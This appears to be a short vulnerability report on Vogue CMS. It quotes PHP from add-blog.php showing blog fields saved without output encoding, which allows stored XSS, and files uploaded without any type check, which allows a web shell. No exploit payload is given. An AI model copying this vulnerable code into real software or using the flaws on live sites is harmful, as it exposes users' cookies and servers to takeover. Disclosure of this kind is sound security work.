제출 #43143: VOgue CMS exist XSS and File upload vulnerability

THE Vogue CMS exist XSS vulnerability.The system does not do anything with input and output. Attackers can construct malicious code to steal user and administrator cookies.At the same time, there is a file upload vulnerability in this system.It will allow an attacker to implement a background getshell.

The location of the vulnerable file is: vogue/dashboard/add-blog.php
```
if(ISSET($_POST['save'])){
$blog_title = mysqli_real_escape_string($con,$_POST['blog_title']);
$blog_desc = mysqli_real_escape_string($con,$_POST['blog_desc']);
$blog_detail = mysqli_real_escape_string($con,$_POST['blog_detail']);

if ( strlen($blog_title) < 5 ){
$msg=$msg."Blog Title Must Be More Than 5 Char Length.<BR>";
$status= "NOTOK";}
if ( strlen($blog_desc) > 150 ){
$msg=$msg."Short description Must Be Less Than 150 Char Length.<BR>";
$status= "NOTOK";}

if ( strlen($blog_detail) < 15 ){
$msg=$msg."Blog Detail Must Be More Than 15 Char Length.<BR>";
$status= "NOTOK";}
```
The uploaded variables in the source code only limit the length, and there is no protection against XSS, which leads to the appearance of XSS
Process to demonstrate.

This file also has an upload vulnerability.
```
$uploads_dir = 'uploads/blog';

$tmp_name = $_FILES["ufile"]["tmp_name"];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["ufile"]["name"]);
$random_digit=rand(0000,9999);
$new_file_name=$random_digit.$name;

move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
```
The file format is not checked when uploading files in the source code, so that Trojan files can be uploaded normally
